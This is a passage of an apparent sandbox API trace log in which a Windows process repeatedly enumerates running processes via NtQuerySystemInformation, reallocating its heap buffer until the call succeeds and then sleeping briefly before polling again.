[0044.262] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0x0 [0044.262] Sleep (dwMilliseconds=0x64) [0044.620] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x517e70, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x517e70, ResultLength=0x0) returned 0xc0000004 [0044.620] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x517e70, Size=0x2048) returned 0x537e70 [0044.621] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x537e70, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x537e70, ResultLength=0x0) returned 0xc0000004 [0044.621] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x537e70, Size=0x306c) returned 0x50abf8 [0044.621] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0044.621] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x4090) returned 0x50abf8 [0044.621] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0044.621] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x50b4) returned 0x50abf8 [0044.621] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0044.621] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x60d8) returned 0x50abf8 [0044.621] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0044.621] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x70fc) returned 0x577e58 [0044.621] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0044.621] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x8120) returned 0x577e58 [0044.621] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0044.622] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x9144) returned 0x577e58 [0044.622] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0044.622] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xa168) returned 0x577e58 [0044.622] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0044.622] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xb18c) returned 0x577e58 [0044.622] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0044.622] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xc1b0) returned 0x577e58 [0044.622] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0044.622] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xd1d4) returned 0x577e58 [0044.622] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0x0 [0044.623] Sleep (dwMilliseconds=0x64) [0045.504] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x517e70, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x517e70, ResultLength=0x0) returned 0xc0000004 [0045.505] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x517e70, Size=0x2048) returned 0x537e70 [0045.505] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x537e70, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x537e70, ResultLength=0x0) returned 0xc0000004 [0045.505] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x537e70, Size=0x306c) returned 0x50abf8 [0045.505] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0045.505] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x4090) returned 0x50abf8 [0045.505] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0045.505] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x50b4) returned 0x50abf8 [0045.505] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0045.505] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x60d8) returned 0x50abf8 [0045.505] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0045.505] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x70fc) returned 0x577e58 [0045.505] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0045.506] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x8120) returned 0x577e58 [0045.506] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0045.506] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x9144) returned 0x577e58 [0045.506] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0045.506] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xa168) returned 0x577e58 [0045.506] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0045.506] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xb18c) returned 0x577e58 [0045.506] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0045.507] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xc1b0) returned 0x577e58 [0045.507] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0045.507] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xd1d4) returned 0x577e58 [0045.507] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0x0 [0045.507] Sleep (dwMilliseconds=0x64) [0045.767] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x517e70, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x517e70, ResultLength=0x0) returned 0xc0000004 [0045.767] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x517e70, Size=0x2048) returned 0x537e70 [0045.767] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x537e70, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x537e70, ResultLength=0x0) returned 0xc0000004 [0045.767] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x537e70, Size=0x306c) returned 0x50abf8 [0045.768] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0045.768] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x4090) returned 0x50abf8 [0045.768] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0045.768] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x50b4) returned 0x50abf8 [0045.768] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0045.768] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x60d8) returned 0x50abf8 [0045.768] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0045.768] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x70fc) returned 0x577e58 [0045.768] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0045.768] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x8120) returned 0x577e58 [0045.768] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0045.769] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x9144) returned 0x577e58 [0045.769] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0045.769] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xa168) returned 0x577e58 [0045.769] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0045.769] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xb18c) returned 0x577e58 [0045.769] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0045.769] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xc1b0) returned 0x577e58 [0045.769] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0045.769] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xd1d4) returned 0x577e58 [0045.769] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0045.770] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xe1f8) returned 0x577e58 [0045.770] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0x0 [0045.770] Sleep (dwMilliseconds=0x64) [0046.324] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x517e70, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x517e70, ResultLength=0x0) returned 0xc0000004 [0046.325] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x517e70, Size=0x2048) returned 0x537e70 [0046.325] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x537e70, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x537e70, ResultLength=0x0) returned 0xc0000004 [0046.325] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x537e70, Size=0x306c) returned 0x50abf8 [0046.325] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0046.325] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x4090) returned 0x50abf8 [0046.325] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0046.325] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x50b4) returned 0x50abf8 [0046.325] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0046.325] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x60d8) returned 0x50abf8 [0046.325] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0046.325] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x70fc) returned 0x577e58 [0046.325] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0046.326] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x8120) returned 0x577e58 [0046.326] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0046.326] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x9144) returned 0x577e58 [0046.326] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0046.326] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xa168) returned 0x577e58 [0046.326] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0046.326] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xb18c) returned 0x577e58 [0046.326] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0046.326] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xc1b0) returned 0x577e58 [0046.326] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0046.327] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xd1d4) returned 0x577e58 [0046.327] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0046.327] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xe1f8) returned 0x577e58 [0046.327] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0046.327] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xf21c) returned 0x577e58 [0046.327] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0046.328] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x10240) returned 0x577e58 [0046.328] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0x0 [0046.328] Sleep (dwMilliseconds=0x64) [0047.053] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x517e70, Size=0x2048) returned 0x537e70 [0047.053] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x537e70, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x537e70, ResultLength=0x0) returned 0xc0000004 [0047.053] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x537e70, Size=0x306c) returned 0x50abf8 [0047.053] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0047.053] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x4090) returned 0x50abf8 [0047.053] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0047.054] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x50b4) returned 0x50abf8 [0047.054] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0047.054] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x60d8) returned 0x50abf8 [0047.054] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0047.054] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x70fc) returned 0x577e58 [0047.054] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0047.054] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x8120) returned 0x577e58 [0047.054] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0047.054] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x9144) returned 0x577e58 [0047.054] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0047.055] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xa168) returned 0x577e58 [0047.055] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0047.055] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xb18c) returned 0x577e58 [0047.055] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0047.055] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xc1b0) returned 0x577e58 [0047.055] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0047.055] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xd1d4) returned 0x577e58 [0047.055] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0047.055] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xe1f8) returned 0x577e58 [0047.055] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0047.056] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xf21c) returned 0x577e58 [0047.056] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0047.056] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x10240) returned 0x577e58 [0047.056] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0x0 [0047.056] Sleep (dwMilliseconds=0x64) [0048.541] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x517e70, Size=0x2048) returned 0x537e70 [0048.541] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x537e70, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x537e70, ResultLength=0x0) returned 0xc0000004 [0048.541] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x537e70, Size=0x306c) returned 0x50abf8 [0048.541] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0048.541] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x4090) returned 0x50abf8 [0048.541] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0048.542] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x50b4) returned 0x50abf8 [0048.542] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0048.542] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x60d8) returned 0x50abf8 [0048.542] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0048.542] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x70fc) returned 0x577e58 [0048.542] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0048.542] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x8120) returned 0x577e58 [0048.542] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0048.542] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x9144) returned 0x577e58 [0048.542] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0048.543] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xa168) returned 0x577e58 [0048.543] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0048.543] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xb18c) returned 0x577e58 [0048.543] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0048.543] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xc1b0) returned 0x577e58 [0048.543] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0048.543] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xd1d4) returned 0x577e58 [0048.543] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0048.543] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xe1f8) returned 0x577e58 [0048.544] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0048.544] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xf21c) returned 0x577e58 [0048.544] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0048.544] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x10240) returned 0x577e58 [0048.544] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0x0 [0048.833] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x517e70, Size=0x2048) returned 0x537e70 [0048.833] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x537e70, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x537e70, ResultLength=0x0) returned 0xc0000004 [0048.834] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x537e70, Size=0x306c) returned 0x50abf8 [0048.834] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0048.834] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x4090) returned 0x50abf8 [0048.834] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0048.834] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x50b4) returned 0x50abf8 [0048.834] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x50b4, 